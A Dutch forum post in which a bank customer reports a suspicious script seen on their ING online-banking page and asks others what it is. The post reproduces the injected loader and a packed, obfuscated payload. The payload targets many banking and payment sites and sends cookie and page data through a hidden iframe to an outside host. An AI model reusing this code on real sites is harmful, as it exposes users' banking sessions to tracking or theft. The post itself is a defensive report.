Ik heb iets vreemds gezien op https://mijn.ing.nl wat ik niet helemaal vertrouw. Na het inloggen op mijn ING zag ik wat andere domeinnamen dan die van ING voorbij komen.
Als ik een view source van de site doe kom ik een script tegen:
Hierdoor wordt er een bestand ingeladen vanaf: http://www.primebyte.net/33271/papi.js
De inhoud is geminified of in ieder geval onleesbaar gemaakt, maar ik zie namen van verschillende andere banken voorbij komen.
Ik zie verder dat er een request bij vsonicw.com wordt gedaan wat weer vanaf primebyte.net wordt geïnitieerd.
Dit alles is gewoon XSS, en lijkt me geen zuivere koffie.
Weet iemand wat er precies aan de hand is?
Als ik een view source van de site doe kom ik een script tegen:
JavaScript:
1
2
3
4
5
6
7
8
9
| <script type="text/javascript"> (function() {var snippetID = '33271', host = 'www.primebyte.net', sn = document.createElement('script'); sn.setAttribute('async', true); sn.setAttribute('type', 'text/javascript'); sn.setAttribute('src', (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//' + host + '/' + snippetID + '/' + 'papi.js'); var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(sn, s);})(); </script> |
Hierdoor wordt er een bestand ingeladen vanaf: http://www.primebyte.net/33271/papi.js
De inhoud is geminified of in ieder geval onleesbaar gemaakt, maar ik zie namen van verschillende andere banken voorbij komen.
JavaScript:
1
2
| /* Copyright (c) 2011. All rights reserved. Distribution and/or use of this software are strictly prohibited except according to this limited license. Copyright holder hereby grants you a limited, fully revocable, non-transferable (without the right to sublicense), non-exclusive, personal, royalty free license to use the software on your computer. You may not distribute, sell, disassemble, decompile, reverse engineer, modify, revise or enhance all or any part of this software or create any derivative works or otherwise merge or utilize all or any part of this software with or into other computer programs or other materials or attempt to discover all or any part of this software's source code or copy, publish or all or any part of this software. The software must retain the above copyright notice at all times. */ eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([3-9F-QS-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(){3 c=document,g=Q,x=parent;3 j=g.G.Y!=\'Z:\'?\'http:\':\'Z:\',y=\'ing_nl\',k=\'33271\',l=\'v4.0\',m=\'ak\',n=S,o=\'&A=ebc_ebc1961/ebc1961.asp/logonnpbs.8.ukybonline.8.ukonline.bankofamerica.7/cgi-bin/ias/accounts-overview..T/U/U/10.do.hsbc.8.H/1/2/personal/.halifax-online.8.H/DisplayMyAccounts:viewMyAccountsnwolb.7/Statementsbanquepopulaire.fr/inversis.comwachovia.comibank.barclays.8.H/loginTFA.domeine.deutsche-bank.T/trxm/db/itan.authorizationmijn.ing.nl/8-operativebank.8.H/corp/BANKAWAYgbw.it.chase.7/MyAccountsbcp.ptmy.ebay.8.H/ws/eBayISAPI.dll?MyEbayManageTAN&R=norisbank.T/.12.firstdirect.7/1/2/12.anz.commyspace.7/paypal.secure/arcot.royalbank.7/CapitalOne_Consumer//cmserver/verify.cfmmail.live.7/mailcapitalone.comEBC_EBC1961/EBC1961.ASP/logonbepp/sanpt/usuarios.nwolb.ogin.aspx?rbbva.esbbva.mobi.citizensbankonline.7.indexsampopank./.citibank.7/US/JPS/U/10.doasnbank.nl/\',p=\'www.vsonicw.7\',q=\'s\';3 z=5(){4(c.13!=\'K\'&&c.13==\'CSS1Compat\')?L:S}();5 A(){4 14 15()}5 r(){3 b=14 15();b.setDate(b.getDate()+365);4 b.toGMTString()};5 s(b,a){4[b,\'=\',16(a),\';\',\'17=\',r()].V(\'\')};5 B(b,a){c.9=s(b,a)};5 i(b){6(navigator.cookieEnabled==L){4 W}6(c.9.M>0){F=c.9.18(b+"=");6(F!=-1){F=F+b.M+1;N=c.9.18(";",F);6(N==-1){N=c.9.M}4 unescape(c.9.substring(F,N))}}4 W};5 C(b){c.9=b+"\'\';17=Thu, 01-Jan-1970 00:00:01 GMT"};5 D(b){3 a=i(b);6(!a){4 W}3 d={};3 f=a.split("|");X(3 h=0,t=f.M;h<t;h+=2){d[f[h]]=f[h+1]}4 d};5 E(b){3 a=[];X(3 d in b){a.push(d,b[d])}4 a.V("|")}5 u(a){6(!g){4}6(c.readyState==\'complete\'){a();4}6(O(g.1c)!=\'K\'){g.1c(\'load\',a,L);4}6(O(g.1d)!=\'K\'){g.1d(\'P\',a);4}3 d=a;6(O(g.P)==\'5\'){3 f=g.P;d=5(){3 b=a();4(f?f():b)};g.P=d}};5 v(b,a){3 d=c.1e(b);X(3 f in a){d[f]=a[f]}4 d};5 w(){1f{6(!c.1e||c.getElementById(\'I-J\')){4 S}3 b=16(c.G.Y+"//"+c.G.host);3 a=v(\'iframe\',{id:\'I-J\',name:\'I-J\'});a.style.display=\'none\';3 d=O(1g)!="K"&&1g()?1:0;3 f=i(m)||"";3 h=[j,\'//\',p,,\'/\',l,\'/\',k,\'/\',q,\'0\',\'?em=\',b,\'&1=\',f,\'&2=\',d,o].V(\'\');6(n){a.1h="javascript: L";c.1i.1j(a);1f{top.frame[\'I-J\'].Q.G.1k(h)}1l(e){this.frames[\'I-J\'].Q.G.1k(h)}}else{a.1h=h;c.1i.1j(a)}}1l(e){}}u(w)})();',[],84,'|||var|return|function|if|com|co|cookie||||||||||||||||||||||||||||||||start|location|uk|awa|proxy|undefined|false|length|end|typeof|onload|window||true|de|portal|join|null|for|protocol|https|Home||banking|compatMode|new|Date|escape|expires|indexOf||||addEventListener|attachEvent|createElement|try|isCompatible|src|body|appendChild|replace|catch'.split('|'),0,{})) |
Ik zie verder dat er een request bij vsonicw.com wordt gedaan wat weer vanaf primebyte.net wordt geïnitieerd.
Dit alles is gewoon XSS, en lijkt me geen zuivere koffie.
Weet iemand wat er precies aan de hand is?